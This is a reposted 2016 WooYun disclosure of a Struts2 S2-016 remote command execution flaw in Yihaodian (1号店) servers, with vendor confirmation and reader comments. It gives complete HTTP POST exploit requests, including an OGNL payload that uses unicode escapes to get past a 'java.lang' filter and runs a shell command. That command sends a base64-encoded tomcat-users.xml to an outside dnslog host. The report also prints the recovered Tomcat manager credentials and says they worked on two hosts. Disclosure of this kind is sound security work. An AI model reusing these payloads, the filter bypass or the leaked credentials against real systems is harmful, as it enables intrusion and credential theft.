1号店某系统st2命令执行(防护绕过)

admin 2017年5月3日08:44:22评论380 views字数 211阅读0分42秒阅读模式
摘要

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

漏洞概要 关注数(50) 关注此漏洞

缺陷编号: WooYun-2016-207420

漏洞标题: 1号店某系统st2命令执行(防护绕过)

相关厂商: 1号店

漏洞作者: loopx91号店某系统st2命令执行(防护绕过)

提交时间: 2016-05-11 11:38

公开时间: 2016-06-25 12:30

漏洞类型: 命令执行

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 远程命令执行 补丁不及时

9人收藏


漏洞详情

披露状态:

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

简要描述:

详细说明:

@lijiejie 的 WooYun: 腾讯移动端某功能SSRF可探/漫游内网(cloudeye神器案例) 提到两个url跳转,一看便知是s2-016命令执行。

code 区域
http://tms2.yihaodian.com/system/login_login.action?redirect:http://admin.soso.com
http://3pl.yihaodian.com/system/login_login.action?redirect:http://10.187.10.218

tms2.yihaodian.com 好像修复了,但3pl.yihaodian.com仍未修复。

code 区域
POST /system/login_view.action HTTP/1.1
User-Agent: curl/7.33.0
Host: 3pl.yihaodian.com
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------4a606c052a893987

--------------------------4a606c052a893987
Content-Disposition: form-data; name="redirect:${#application.get('javax.servlet.context.tempdir')}"

-1
--------------------------4a606c052a893987--

1号店某系统st2命令执行(防护绕过)

测试过程中发现过滤了一些字符,不能出现 "java.lang"等。

换了个exp,使用java的scriptengine来调用java方法:

code 区域
POST /system/login_view.action HTTP/1.1
User-Agent: curl/7.33.0
Host: 3pl.yihaodian.com
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 396
Content-Type: multipart/form-data; boundary=------------------------4a606c052a893987

--------------------------4a606c052a893987
Content-Disposition: form-data; name="redirect:${new javax.script.ScriptEngineManager().getEngineByName("js").eval("new j/u0061va.lang.ProcessBuilder['(java.l/u0061ng.String[])'](['/bin/sh','-c','curl xxoo.dnslog.info/$(cat /usr/local/tomcat6/conf/tomcat-users.xml|base64 -w 0)']).start()/u003B")}"

-1
--------------------------4a606c052a893987--

1号店某系统st2命令执行(防护绕过)

读取tomcat-users.xml获取tomcat管理用户跟密码并发送到cloueye,收到请求如下:

1号店某系统st2命令执行(防护绕过)

漏洞证明:

base64解码得到:

code 区域
<?xml version='1.0' encoding='utf-8'?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users>
<role rolename="manager"/>
<user username="monitor" password="OPS-monitoR" roles="manager"/>
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="both" password="tomcat" roles="tomcat,role1"/>
<user username="role1" password="tomcat" roles="role1"/>
-->
</tomcat-users>

成功登陆tomcat:

1号店某系统st2命令执行(防护绕过)

tms2.yihaodian.com也配置了相同的用户和密码,也登录成功:

1号店某系统st2命令执行(防护绕过)

修复方案:

.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-05-11 12:28

厂商回复:

非常感谢!! 尽快整改。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-05-11 11:39 | he1renyagao ( 普通白帽子 | Rank:235 漏洞数:31 | 是金子总会发光,在还未发光之前,先磨磨)

    0

    沙发

  2. 2016-06-25 12:37 | 卖C4的小男孩 ( 普通白帽子 | Rank:110 漏洞数:19 | 啦啦啦 啦啦啦 我是一个卖C 4的小行家!...)

    0

    孩子已经没有一号店了

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin